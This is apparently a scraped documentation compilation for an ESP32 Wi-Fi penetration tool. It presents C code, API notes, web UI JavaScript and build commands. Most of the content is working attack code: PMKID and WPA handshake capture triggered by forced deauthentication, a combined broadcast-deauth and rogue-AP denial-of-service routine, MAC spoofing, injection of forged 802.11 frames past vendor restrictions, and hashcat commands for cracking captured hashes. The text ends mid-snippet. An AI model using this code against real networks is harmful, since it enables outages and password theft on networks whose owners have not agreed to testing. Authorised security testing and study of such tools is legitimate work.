### Start PMKID Attack Example Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Initiates a PMKID capture by configuring the attack parameters and starting the sniffing process. This function connects to the target AP with a dummy password to capture the PMKID from the EAPOL-Key message. ```c #include "attack_pmkid.h" #include "attack.h" #include "wifi_controller.h" // for wifictl_get_ap_record() // Triggered via the event loop when a WEBSERVER_EVENT_ATTACK_REQUEST arrives // with type == ATTACK_TYPE_PMKID. Equivalent manual invocation: void start_pmkid_example(void) { // Build a minimal attack_config_t attack_config_t cfg = { .type = ATTACK_TYPE_PMKID, .method = 0, // not used by PMKID attack .timeout = 30, // seconds before auto-abort .ap_record = wifictl_get_ap_record(0) // first scanned AP }; // Internally, attack_pmkid_start(): // 1. wifictl_sniffer_filter_frame_types(true, false, false) // 2. wifictl_sniffer_start(ap_record->primary) // 3. frame_analyzer_capture_start(SEARCH_PMKID, ap_record->bssid) // 4. wifictl_sta_connect_to_ap(ap_record, "dummypassword") // 5. registers pmkid_exit_condition_handler on DATA_FRAME_EVENT_PMKID attack_pmkid_start(&cfg); // To abort early: // attack_pmkid_stop(); // Internally: disconnect STA, stop sniffer, stop frame analyzer, unregister handler } // When DATA_FRAME_EVENT_PMKID fires, the handler automatically calls: // attack_update_status(FINISHED); // attack_pmkid_stop(); // and serializes PMKIDs into attack_status.content. // Output can then be fed to hcxtools for cracking: // hcxhashtool --pmkid-in= -o hash.txt // hashcat -m 22000 hash.txt wordlist.txt ``` -------------------------------- ### app_main - Initialize and start all subsystems Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt The firmware entry point initializes the ESP event loop, starts the management AP, sets up the attack wrapper's event handlers and timeout timer, then launches the HTTP webserver. All subsequent control flows through the event loop. ```APIDOC ## app_main ### Description Initializes the ESP event loop, starts the management AP, sets up attack event handlers and a timeout timer, and launches the HTTP webserver. Control then shifts to the event loop. ### Function Signature `void app_main(void)` ### Initialization Steps 1. Create the default ESP event loop. 2. Start the management AP (SSID: "ManagementAP", password: "mgmtadmin"). 3. Initialize the attack wrapper by registering event handlers and creating a timeout timer. 4. Start the HTTP server on `192.168.4.1` (port 80). ### Event-Driven Control Subsequent operations are handled via the event loop, responding to events like `WEBSERVER_EVENT_ATTACK_REQUEST` and `WEBSERVER_EVENT_ATTACK_RESET`. ``` -------------------------------- ### Initialize and Start Subsystems in `app_main` Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt The firmware entry point initializes the ESP event loop, starts the management AP, sets up attack event handlers and a timeout timer, and launches the HTTP webserver. All subsequent control flows through the event loop. ```c // main/main.c #include "attack.h" #include "wifi_controller.h" #include "webserver.h" #include "esp_event.h" void app_main(void) { // 1. Create the default ESP event loop (required by all components) ESP_ERROR_CHECK(esp_event_loop_create_default()); // 2. Start the management AP (SSID: "ManagementAP", pass: "mgmtadmin" by default) wifictl_mgmt_ap_start(); // 3. Register attack event handlers and create the timeout timer attack_init(); // 4. Start HTTP server on 192.168.4.1 (port 80) webserver_run(); // After this, all work is event-driven: // - WEBSERVER_EVENT_ATTACK_REQUEST → triggers attack start // - WEBSERVER_EVENT_ATTACK_RESET → clears previous results } ``` -------------------------------- ### Start Webserver and Register Event Handlers Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Starts the ESP-IDF HTTPD server to provide a web UI and API. Incoming attack requests are processed, and attack results can be served. Custom components can listen for attack events by registering handlers. ```c #include "webserver.h" #include "esp_event.h" // Start server (called from app_main after management AP is up): webserver_run(); // Listens on http://192.168.4.1/ // GET / → serves HTML UI (embedded in page_index.h) // POST /attack → parses attack_request_t, posts WEBSERVER_EVENT_ATTACK_REQUEST // GET /status → returns attack_status_t serialized as JSON/binary // GET /reset → posts WEBSERVER_EVENT_ATTACK_RESET // The attack_request_t payload structure for POST /attack: // { // "ap_record_id": 0, ← index into scanned AP list // "type": 2, ← ATTACK_TYPE_PMKID // "method": 0, ← not used for PMKID // "timeout": 30 ← seconds // } // To listen for attack events in a custom component: esp_event_handler_register(WEBSERVER_EVENTS, WEBSERVER_EVENT_ATTACK_REQUEST, my_attack_handler, NULL); esp_event_handler_register(WEBSERVER_EVENTS, WEBSERVER_EVENT_ATTACK_RESET, my_reset_handler, NULL); ``` -------------------------------- ### Start and Stop Frame Analysis Capture Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Register event handlers for PMKID and EAPoL-Key events, then start or stop frame analysis targeting a specific BSSID. Use `SEARCH_HANDSHAKE` for EAPoL-Key frames or `SEARCH_PMKID` for PMKIDs. ```c #include "frame_analyzer.h" #include "esp_event.h" // Register for PMKID events: esp_event_handler_register(FRAME_ANALYZER_EVENTS, DATA_FRAME_EVENT_PMKID, pmkid_handler, NULL); // Register for EAPoL-Key events (handshake frames): esp_event_handler_register(FRAME_ANALYZER_EVENTS, DATA_FRAME_EVENT_EAPOLKEY_FRAME, eapol_handler, NULL); // Start analysis targeting a specific BSSID: uint8_t target_bssid[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; frame_analyzer_capture_start(SEARCH_HANDSHAKE, target_bssid); // or: frame_analyzer_capture_start(SEARCH_PMKID, target_bssid); // Stop and unsubscribe: frame_analyzer_capture_stop(); ``` -------------------------------- ### Manage Wi-Fi Access Point Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Starts a Wi-Fi access point using either preconfigured management settings or custom parameters. The Wi-Fi stack is auto-initialized on the first call. ```c #include "wifi_controller.h" // Start the default management AP (reads CONFIG_MGMT_AP_* from sdkconfig) wifictl_mgmt_ap_start(); // → SSID: "ManagementAP", password: "mgmtadmin", WPA2-PSK, max 4 connections // Or start a fully custom AP: wifi_config_t custom_ap = { .ap = { .ssid = "TargetSSID", .ssid_len = 10, .password = "targetpass", .max_connection = 4, .authmode = WIFI_AUTH_WPA2_PSK } }; wifictl_ap_start(&custom_ap); // Stop AP (sets max_connection = 0): wifictl_ap_stop(); ``` -------------------------------- ### Webserver Component Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Functions to start and manage the HTTP management interface for the penetration tool. ```APIDOC ## Webserver Component (`webserver.h`) ### `webserver_run` — Start the HTTP management interface ### Description Initializes the ESP-IDF HTTPD server and registers URI handlers for the web UI. Incoming attack requests are deserialized into `attack_request_t` and posted to the event loop as `WEBSERVER_EVENT_ATTACK_REQUEST`. Attack results (PCAP, HCCAPX, raw bytes) are served as downloadable binary responses. ### Method POST ### Endpoint `/attack` ### Parameters #### Request Body - **ap_record_id** (integer) - Required - Index into scanned AP list. - **type** (integer) - Required - Attack type (e.g., 2 for ATTACK_TYPE_PMKID). - **method** (integer) - Optional - Not used for PMKID. - **timeout** (integer) - Required - Attack duration in seconds. ### Endpoint `/` ### Method GET ### Description Serves the HTML UI (embedded in page_index.h). ### Endpoint `/status` ### Method GET ### Description Returns attack status serialized as JSON/binary. ### Endpoint `/reset` ### Method GET ### Description Posts `WEBSERVER_EVENT_ATTACK_RESET` to the event loop. ### Request Example ```json { "ap_record_id": 0, "type": 2, "method": 0, "timeout": 30 } ``` ``` -------------------------------- ### Start and Stop Promiscuous Wi-Fi Sniffer Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Enables promiscuous mode on a specified Wi-Fi channel to capture all network traffic. Captured frames are dispatched as events. Ensure event handlers are registered before starting. ```c #include "wifi_controller.h" // includes sniffer.h #include "esp_event.h" // Filter to data frames only (required for EAPoL/PMKID capture): wifictl_sniffer_filter_frame_types( true, // data frames false, // management frames false // control frames ); // Start sniffing on channel 6: wifictl_sniffer_start(6); // Register a custom handler for raw data frames: esp_event_handler_register(SNIFFER_EVENTS, SNIFFER_EVENT_CAPTURED_DATA, [](void *args, esp_event_base_t base, int32_t id, void *data) { wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)data; ESP_LOGI("sniffer", "Captured %u bytes on ch %d, RSSI %d", pkt->rx_ctrl.sig_len, pkt->rx_ctrl.channel, pkt->rx_ctrl.rssi); }, NULL); // Stop sniffer: wifictl_sniffer_stop(); ``` -------------------------------- ### Promiscuous Sniffer Functions Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Functions for starting, stopping, and configuring the promiscuous Wi-Fi sniffer. ```APIDOC ## `wifictl_sniffer_start` / `wifictl_sniffer_stop` / `wifictl_sniffer_filter_frame_types` — Promiscuous Sniffer Puts the ESP32 Wi-Fi interface into promiscuous mode on a given channel. Captured frames are dispatched as `SNIFFER_EVENTS` on the event loop (`SNIFFER_EVENT_CAPTURED_DATA`, `_CAPTURED_MGMT`, `_CAPTURED_CTRL`). ### Description Enables promiscuous mode on the ESP32's Wi-Fi interface to capture network traffic. Allows filtering frame types and provides event-driven callbacks for captured data. ### Functions - `wifictl_sniffer_filter_frame_types(bool data, bool mgmt, bool ctrl)`: Filters the types of Wi-Fi frames to capture. Set `true` for the desired frame types (data, management, control). - `wifictl_sniffer_start(int channel)`: Starts the promiscuous sniffer on the specified Wi-Fi channel. - `wifictl_sniffer_stop()`: Stops the promiscuous sniffer. ### Example Usage ```c #include "wifi_controller.h" #include "esp_event.h" // Filter to data frames only (required for EAPoL/PMKID capture): wifictl_sniffer_filter_frame_types( true, // data frames false, // management frames false // control frames ); // Start sniffing on channel 6: wifictl_sniffer_start(6); // Register a custom handler for raw data frames: esp_event_handler_register(SNIFFER_EVENTS, SNIFFER_EVENT_CAPTURED_DATA, [](void *args, esp_event_base_t base, int32_t id, void *data) { wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)data; ESP_LOGI("sniffer", "Captured %u bytes on ch %d, RSSI %d", pkt->rx_ctrl.sig_len, pkt->rx_ctrl.channel, pkt->rx_ctrl.rssi); }, NULL); // Stop sniffer: wifictl_sniffer_stop(); ``` ``` -------------------------------- ### Start Denial-of-Service Attack Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Performs persistent deauthentication attacks using various methods, including a combined approach for maximum coverage. Skips frame capture. ```c #include "attack_dos.h" #include "attack.h" #include "wifi_controller.h" void start_dos_example(void) { attack_config_t cfg = { .type = ATTACK_TYPE_DOS, .timeout = 120, .ap_record = wifictl_get_ap_record(0), // ATTACK_DOS_METHOD_BROADCAST — periodic broadcast deauth (every 1 second) // ATTACK_DOS_METHOD_ROGUE_AP — clone BSSID; AP responds to Class2/3 frames with deauth // ATTACK_DOS_METHOD_COMBINE_ALL — both methods simultaneously (most robust) .method = ATTACK_DOS_METHOD_COMBINE_ALL }; // COMBINE_ALL internally calls: // attack_method_rogueap(ap_record) ← wifictl_set_ap_mac(ap->bssid) + wifictl_ap_start(cloned_config) // attack_method_broadcast(ap_record, 1) ← esp_timer periodic + wsl_bypasser_send_deauth_frame() attack_dos_start(&cfg); // To stop early: attack_dos_stop(); // For COMBINE_ALL stop: // attack_method_broadcast_stop() // wifictl_mgmt_ap_start() ← restore management AP // wifictl_restore_ap_mac() ← restore original MAC } ``` -------------------------------- ### Run WiFi Attack Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/components/webserver/utils/index.html Initiates a WiFi attack based on the selected Access Point and attack configuration. It sends the configuration to the ESP32 device and starts a status polling interval. ```javascript function runAttack() { if(selectedApElement == -1){ console.log("No AP selected. Attack not started."); document.getElementById("errors").innerHTML = "No AP selected. Attack not started."; return; } hideAllSections(); document.getElementById("running").style.display = "block"; var arrayBuffer = new ArrayBuffer(4); var uint8Array = new Uint8Array(arrayBuffer); uint8Array[0] = parseInt(selectedApElement.id); uint8Array[1] = parseInt(document.getElementById("attack_type").value); uint8Array[2] = parseInt(document.getElementById("attack_method").value); uint8Array[3] = parseInt(document.getElementById("attack_timeout").value); var oReq = new XMLHttpRequest(); oReq.open("POST", "http://192.168.4.1/run-attack", true); oReq.send(arrayBuffer); getStatus(); attack_timeout = parseInt(document.getElementById("attack_timeout").value); time_elapsed = 0; running_poll = setInterval(countProgress, running_poll_interval); } ``` -------------------------------- ### Start WPA/WPA2 Handshake Capture Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Initiates a sniffer on the target AP's channel and deauthenticates clients to trigger a handshake. Captured frames are saved in PCAP and HCCAPX formats. ```c #include "attack_handshake.h" #include "attack.h" #include "wifi_controller.h" void start_handshake_example(void) { attack_config_t cfg = { .type = ATTACK_TYPE_HANDSHAKE, .timeout = 60, .ap_record = wifictl_get_ap_record(0), // Choose deauth method: // ATTACK_HANDSHAKE_METHOD_BROADCAST — send broadcast deauth via WSL bypasser // ATTACK_HANDSHAKE_METHOD_ROGUE_AP — clone AP MAC, force reconnect via 802.11 standard // ATTACK_HANDSHAKE_METHOD_PASSIVE — no deauth; wait for organic handshake .method = ATTACK_HANDSHAKE_METHOD_BROADCAST }; // attack_handshake_start() internally: // pcap_serializer_init() // hccapx_serializer_init(ssid, ssid_len) // wifictl_sniffer_filter_frame_types(true, false, false) // wifictl_sniffer_start(channel) // frame_analyzer_capture_start(SEARCH_HANDSHAKE, bssid) // registers eapolkey_frame_handler // attack_method_broadcast(ap_record, period_sec=5) ← for BROADCAST method attack_handshake_start(&cfg); // Each captured EAPoL-Key frame is: // - appended to attack_status.content (raw bytes) // - appended to PCAP buffer (pcap_serializer_append_frame) // - added to HCCAPX structure (hccapx_serializer_add_frame) // Retrieve PCAP blob after FINISHED: // uint8_t *pcap = pcap_serializer_get_buffer(); // unsigned len = pcap_serializer_get_size(); // // write to file / serve over HTTP // Retrieve HCCAPX blob (ready for Hashcat -m 2500 / -m 22000): // hccapx_t *hccapx = hccapx_serializer_get(); // // sizeof(hccapx_t) == fixed struct, eapol field up to 256 bytes } ``` -------------------------------- ### Scan Nearby Wi-Fi APs and Retrieve Records Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Triggers a scan for nearby Wi-Fi access points and retrieves the scan results. Use this to get a list of available APs and their details. ```c #include "wifi_controller.h" // includes ap_scanner.h // Trigger a blocking scan wifictl_scan_nearby_aps(); // Get the full result set const wifictl_ap_records_t *records = wifictl_get_ap_records(); ESP_LOGI("scan", "Found %u APs", records->count); for (int i = 0; i < records->count; i++) { ESP_LOGI("scan", "[%d] SSID: %s RSSI: %d CH: %d BSSID: %02x:%02x:%02x:%02x:%02x:%02x", i, records->records[i].ssid, records->records[i].rssi, records->records[i].primary, records->records[i].bssid[0], records->records[i].bssid[1], records->records[i].bssid[2], records->records[i].bssid[3], records->records[i].bssid[4], records->records[i].bssid[5]); } // Retrieve a specific record by index (used in attack_config_t.ap_record): const wifi_ap_record_t *target = wifictl_get_ap_record(0); ``` -------------------------------- ### Build Project with ESP-IDF Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/README.md Use this command to build the project using the ESP-IDF build system. Ensure ESP-IDF 4.1 is set up. ```shell idf.py build ``` -------------------------------- ### Flash Project using esptool.py Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/README.md Flash pre-built binaries to the ESP32 using esptool.py. Replace \/dev\/ttyS5 with your serial port and adjust flash parameters as needed. ```shell esptool.py -p /dev/ttyS5 -b 115200 --after hard_reset write_flash --flash_mode dio --flash_freq 40m --flash_size detect 0x8000 build/partition_table/partition-table.bin 0x1000 build/bootloader/bootloader.bin 0x10000 build/esp32-wifi-penetration-tool.bin ``` -------------------------------- ### attack_init - Initialize the attack framework Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Initializes the attack framework by creating a one-shot timeout timer and registering event handlers for attack requests and resets. This function must be called once before any attack can be initiated. ```APIDOC ## attack_init ### Description Initializes the attack framework. It creates a one-shot timeout timer and registers event handlers for `WEBSERVER_EVENT_ATTACK_REQUEST` and `WEBSERVER_EVENT_ATTACK_RESET`. This function must be called once before any attack can be executed. ### Function Signature `void attack_init(void)` ### Usage This function is typically called during the application's initialization phase, for example, within `app_main`. ``` -------------------------------- ### Initialize Attack Framework Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Initializes the attack framework by creating a one-shot timeout timer and registering event handlers for attack requests and resets. This function must be called once before any attack can be initiated. ```c #include "attack.h" #include "esp_event.h" void app_main(void) { ESP_ERROR_CHECK(esp_event_loop_create_default()); attack_init(); // registers handlers; creates esp_timer for attack timeout } ``` -------------------------------- ### Initialize and Add Frames to HCCAPX Serializer Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Initializes the HCCAPX serializer with the target SSID and adds EAPoL-Key frames as they are captured. This process internally extracts necessary information for Hashcat. It only tracks one STA per session, skipping frames from mixed STAs. ```c #include "hccapx_serializer.h" #include "frame_analyzer_types.h" // Initialize for target SSID (must be called before adding any frames): const uint8_t ssid[] = "TargetNetwork"; hccapx_serializer_init(ssid, strlen((char *)ssid)); // Add EAPoL-Key frames as they are captured: // (data_frame_t is a cast of the raw promiscuous payload) void on_eapol_key_frame(wifi_promiscuous_pkt_t *pkt) { data_frame_t *frame = (data_frame_t *)pkt->payload; hccapx_serializer_add_frame(frame); // Internally extracts: keymic, mac_ap, nonce_ap, mac_sta, nonce_sta, eapol bytes // Skips frames from mixed STAs (only tracks one STA per session) } // After capture, retrieve the HCCAPX struct: hccapx_t *hccapx = hccapx_serializer_get(); ESP_LOGI("hccapx", "signature=0x%08x version=%u essid=%s", hccapx->signature, // 0x58504348 ("HCPX") hccapx->version, // 4 hccapx->essid); // The binary can be saved as a .hccapx file and cracked with: // hashcat -m 2500 capture.hccapx rockyou.txt // hashcat -m 22000 capture.hccapx rockyou.txt ``` -------------------------------- ### Set Attack Methods in UI Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/components/webserver/utils/index.html Populates the attack method dropdown in the UI based on an array of available methods. Ensures the dropdown is enabled before adding options. ```javascript function setAttackMethods(attackMethodsArray){ document.getElementById("attack_method").removeAttribute("disabled"); attackMethodsArray.forEach(function(method, index){ let option = document.createElement("option"); option.value = index; option.text = method; option.selected = true; document.getElementById("attack_method").appendChild(option); }); } ``` -------------------------------- ### pcap_serializer_init / pcap_serializer_append_frame / pcap_serializer_get_buffer Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Functions for generating a standard libpcap-format binary in memory. Compatible with Wireshark and tcpdump. ```APIDOC ## PCAP Serializer Component (`pcap_serializer.h`) ### `pcap_serializer_init` / `pcap_serializer_append_frame` / `pcap_serializer_get_buffer` — PCAP File Generation Builds a standard libpcap-format binary in memory (magic `0xa1b2c3d4`, link type `LINKTYPE_IEEE802_11`). Compatible with Wireshark, tcpdump, and other analysis tools. ### Usage Initialize a fresh PCAP buffer (writes global header): ```c uint8_t *pcap_buf = pcap_serializer_init(); if (pcap_buf == NULL) { ESP_LOGE("pcap", "Failed to allocate PCAP buffer"); return; } ``` Append captured frames (frame_payload is the raw 802.11 bytes, timestamp in microseconds): ```c void on_eapol_frame(wifi_promiscuous_pkt_t *pkt) { pcap_serializer_append_frame( pkt->payload, pkt->rx_ctrl.sig_len, pkt->rx_ctrl.timestamp // microseconds since boot ); } ``` After capture is complete, retrieve the binary blob: ```c unsigned pcap_size = pcap_serializer_get_size(); uint8_t *pcap_data = pcap_serializer_get_buffer(); ESP_LOGI("pcap", "PCAP size: %u bytes", pcap_size); // Serve over HTTP or store (e.g., send via webserver response): // httpd_resp_send(req, (char *)pcap_data, pcap_size); // Free and reset: pcap_serializer_deinit(); // Next call to pcap_serializer_init() starts a new capture file ``` ``` -------------------------------- ### HCCAPX Serialization Functions Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Functions to initialize, add frames to, and retrieve data in the Hashcat HCCAPX binary format. ```APIDOC ## HCCAPX Serialization Functions ### Description Formats captured WPA/WPA2 handshake frames into the HCCAPX binary structure. The resulting file is directly usable with `hashcat -m 2500` or `-m 22000`. ### `hccapx_serializer_init` Initializes the HCCAPX serializer for a target SSID. **Parameters** - **ssid** (const uint8_t *) - The SSID of the target network. - **ssid_len** (size_t) - The length of the SSID. ### `hccapx_serializer_add_frame` Adds an EAPoL-Key frame to the HCCAPX serializer. **Parameters** - **frame** (data_frame_t *) - A pointer to the captured frame data. ### `hccapx_serializer_get` Retrieves the HCCAPX structure after all frames have been added. **Returns** - hccapx_t * - A pointer to the HCCAPX structure. ``` -------------------------------- ### Initialize and Append Frames to PCAP Buffer Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Initialize a PCAP buffer and append captured 802.11 frames with their timestamps. The generated PCAP data is compatible with standard analysis tools like Wireshark and tcpdump. ```c #include "pcap_serializer.h" // Initialize a fresh PCAP buffer (writes global header): uint8_t *pcap_buf = pcap_serializer_init(); if (pcap_buf == NULL) { ESP_LOGE("pcap", "Failed to allocate PCAP buffer"); return; } // Append captured frames: // (frame_payload is the raw 802.11 bytes, timestamp in microseconds) void on_eapol_frame(wifi_promiscuous_pkt_t *pkt) { pcap_serializer_append_frame( pkt->payload, pkt->rx_ctrl.sig_len, pkt->rx_ctrl.timestamp // microseconds since boot ); } // After capture is complete, retrieve the binary blob: unsigned pcap_size = pcap_serializer_get_size(); uint8_t *pcap_data = pcap_serializer_get_buffer(); ESP_LOGI("pcap", "PCAP size: %u bytes", pcap_size); // Serve over HTTP or store (e.g., send via webserver response): // httpd_resp_send(req, (char *)pcap_data, pcap_size); // Free and reset: pcap_serializer_deinit(); // Next call to pcap_serializer_init() starts a new capture file ``` -------------------------------- ### Linker Options for Component Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/components/wsl_bypasser/CMakeLists.txt Applies specific linker options to the component library, ensuring proper symbol definition handling. This is a common practice for ESP-IDF components. ```cmake target_link_libraries(${COMPONENT_LIB} -Wl,-zmuldefs) ``` -------------------------------- ### Allocate and Append Result Buffer Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Use `attack_alloc_result_content` to allocate a new buffer for results, and `attack_append_status_content` to incrementally append data, such as EAPoL frames. ```c #include "attack.h" #include // Example: allocate a fixed-size result block (used in PMKID attack) // Layout: [6B STA MAC][6B AP MAC][1B SSID len][SSID bytes][16B PMKID ...] void store_pmkid_result(const uint8_t *sta_mac, const uint8_t *ap_bssid, const char *ssid, const uint8_t *pmkid) { size_t ssid_len = strlen(ssid); char *buf = attack_alloc_result_content(6 + 6 + 1 + ssid_len + 16); memcpy(buf, sta_mac, 6); buf += 6; memcpy(buf, ap_bssid, 6); buf += 6; buf[0] = (uint8_t)ssid_len; buf += 1; memcpy(buf, ssid, ssid_len); buf += ssid_len; memcpy(buf, pmkid, 16); } // Example: append a captured EAPoL frame incrementally (used in handshake attack) void append_eapol_frame(const uint8_t *frame_payload, uint16_t frame_len) { attack_append_status_content((uint8_t *)frame_payload, frame_len); // Internally: realloc(content, content_size + frame_len) + memcpy } ``` -------------------------------- ### Fetch and Display AP List Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/components/webserver/utils/index.html Fetches a list of available Access Points (APs) from the ESP32 device and displays them in an HTML table. Handles errors during the request. ```javascript function getApList() { var oReq = new XMLHttpRequest(); oReq.onload = function() { var arrayBuffer = oReq.response; var byteArray = new Uint8Array(arrayBuffer); var i = 0; while (i < byteArray.length) { var tr = document.createElement("tr"); var td_ssid = document.createElement("td"); var td_bssid = document.createElement("td"); var td_rssi = document.createElement("td"); for(let j = 0; j < 32; j++){ td_ssid.innerHTML += String.fromCharCode(byteArray[i + j]); } tr.appendChild(td_ssid); for(let j = 0; j < 6; j++){ td_bssid.innerHTML += uint8ToHex(byteArray[i + 33 + j]) + ":"; } tr.appendChild(td_bssid); td_rssi.innerHTML = byteArray[i + 39] - 255; tr.appendChild(td_rssi); document.getElementById("ap-list").appendChild(tr); i = i + 40; } } }; oReq.onerror = function() { document.getElementById("ap-list").innerHTML = "ERROR"; }; oReq.open("GET", "http://192.168.4.1/ap-list", true); oReq.responseType = "arraybuffer"; oReq.send(); } ``` -------------------------------- ### Read Attack Status and Results Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Retrieves the current attack state and captured data. The `state` field indicates the lifecycle (READY, RUNNING, FINISHED, TIMEOUT), while `content` and `content_size` hold raw captured bytes like EAPoL frames or PMKID data. ```c #include "attack.h" #include "esp_log.h" void print_attack_status(void) { const attack_status_t *status = attack_get_status(); switch (status->state) { case READY: ESP_LOGI("app", "No attack running. Ready."); break; case RUNNING: ESP_LOGI("app", "Attack type %d in progress...", status->type); break; case FINISHED: ESP_LOGI("app", "Attack finished. Captured %u bytes.", status->content_size); // status->content holds raw result bytes (e.g., PCAP or PMKID data) break; case TIMEOUT: ESP_LOGW("app", "Attack timed out after configured seconds."); break; } } ``` -------------------------------- ### Select Access Point Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/components/webserver/utils/index.html Handles the selection of an Access Point (AP) by updating the UI to visually indicate the selected AP and storing its reference. ```javascript function selectAp(el) { console.log(el.id); if(selectedApElement != -1){ selectedApElement.classList.remove("selected") } selectedApElement=el; el.classList.add("selected"); } ``` -------------------------------- ### frame_analyzer_capture_start / frame_analyzer_capture_stop Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Controls the event-driven frame analysis. It subscribes to SNIFFER_EVENTS to process incoming frames, looking for EAPoL-Key or PMKID frames. Results are published as FRAME_ANALYZER_EVENTS. ```APIDOC ## frame_analyzer_capture_start / frame_analyzer_capture_stop ### Description Subscribes to `SNIFFER_EVENTS` and processes incoming promiscuous frames looking for either EAPoL-Key frames (handshake) or PMKIDs. Results are published back to the event loop as `FRAME_ANALYZER_EVENTS`. ### Usage Register for PMKID events: ```c esp_event_handler_register(FRAME_ANALYZER_EVENTS, DATA_FRAME_EVENT_PMKID, pmkid_handler, NULL); ``` Register for EAPoL-Key events (handshake frames): ```c esp_event_handler_register(FRAME_ANALYZER_EVENTS, DATA_FRAME_EVENT_EAPOLKEY_FRAME, eapol_handler, NULL); ``` Start analysis targeting a specific BSSID: ```c // SEARCH_HANDSHAKE or SEARCH_PMKID frame_analyzer_capture_start(SEARCH_HANDSHAKE, target_bssid); frame_analyzer_capture_start(SEARCH_PMKID, target_bssid); ``` Stop and unsubscribe: ```c frame_analyzer_capture_stop(); ``` ``` -------------------------------- ### attack_get_status - Read current attack state and results Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Retrieves the current attack status, including the attack state (READY, RUNNING, FINISHED, TIMEOUT) and any captured data (content and size). ```APIDOC ## attack_get_status ### Description Returns a pointer to the shared `attack_status_t` structure, which contains the current state of the attack and any captured data. The `state` field indicates the lifecycle status, and `content` and `content_size` hold the raw captured bytes. ### Function Signature `const attack_status_t *attack_get_status(void)` ### Return Value A pointer to an `attack_status_t` structure. The structure contains: - `state`: The current attack state (e.g., `READY`, `RUNNING`, `FINISHED`, `TIMEOUT`). - `type`: The type of attack currently running (if applicable). - `content`: A pointer to the raw captured data. - `content_size`: The size of the captured data in bytes. ``` -------------------------------- ### Register WSL Bypasser Component Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/components/wsl_bypasser/CMakeLists.txt Registers the source files and include directories for the WSL Bypasser component. This is typically used in an ESP-IDF project's CMakeLists.txt. ```cmake idf_component_register( SRCS "wsl_bypasser.c" INCLUDE_DIRS "interface" ) ``` -------------------------------- ### Spoof AP MAC Address and Set Channel Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Allows modification of the AP interface's MAC address for impersonation and setting the Wi-Fi channel. Remember to restore the original MAC address after use. ```c #include "wifi_controller.h" // Spoof the AP MAC to match a target BSSID (from a scanned ap_record): const wifi_ap_record_t *target = wifictl_get_ap_record(0); wifictl_set_ap_mac(target->bssid); // esp_wifi_set_mac(WIFI_IF_AP, target->bssid) // Read current AP MAC: uint8_t current_mac[6]; wifictl_get_ap_mac(current_mac); ESP_LOGI("mac", "Current AP MAC: %02x:%02x:%02x:%02x:%02x:%02x", current_mac[0], current_mac[1], current_mac[2], current_mac[3], current_mac[4], current_mac[5]); // Restore the original factory MAC: wifictl_restore_ap_mac(); // Change the operating channel (1–13): wifictl_set_channel(11); ``` -------------------------------- ### Process Handshake Attack Results Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/components/webserver/utils/index.html Displays the results of a handshake capture attack. It provides download links for the PCAP and HCCAPX files and shows the raw handshake data. ```javascript function resultHandshake(attack_content, attack_content_size){ document.getElementById("result-content").innerHTML = ""; var pcap_link = document.createElement("a"); pcap_link.setAttribute("href", "capture.pcap"); pcap_link.text = "Download PCAP file"; var hccapx_link = document.createElement("a"); hccapx_link.setAttribute("href", "capture.hccapx"); hccapx_link.text = "Download HCCAPX file"; document.getElementById("result-content").innerHTML += "

" + pcap_link.outerHTML + "

"; document.getElementById("result-content").innerHTML += "

" + hccapx_link.outerHTML + "

"; var handshakes = ""; for(let i = 0; i < attack_content_size; i = i + 1) { handshakes += uint8ToHex(attack_content[i]); if(i % 50 == 49) { handshakes += "\n"; } } document.getElementById("result-content").innerHTML += "
" + handshakes + "
"; } ``` -------------------------------- ### Raw 802.11 Frame Injection Functions Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Functions for sending custom deauthentication frames and arbitrary raw 802.11 frames. ```APIDOC ## `wsl_bypasser_send_deauth_frame` / `wsl_bypasser_send_raw_frame` — Raw 802.11 Frame Injection Bypasses the ESP-IDF Wi-Fi Stack Libraries' restriction on sending arbitrary 802.11 management frames. `wsl_bypasser_send_deauth_frame` forges a deauthentication frame sourced from the target AP's BSSID to the broadcast address `ff:ff:ff:ff:ff:ff`. ### Description Provides the capability to inject custom 802.11 management frames, including deauthentication frames, bypassing standard ESP-IDF restrictions. This is useful for network analysis and security testing. ### Functions - `wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *target)`: Forges and sends a deauthentication frame impersonating the target AP to the broadcast address. - `wsl_bypasser_send_raw_frame(const uint8_t *frame, size_t len)`: Sends an arbitrary raw 802.11 frame of the specified length. ### Example Usage ```c #include "wsl_bypasser.h" 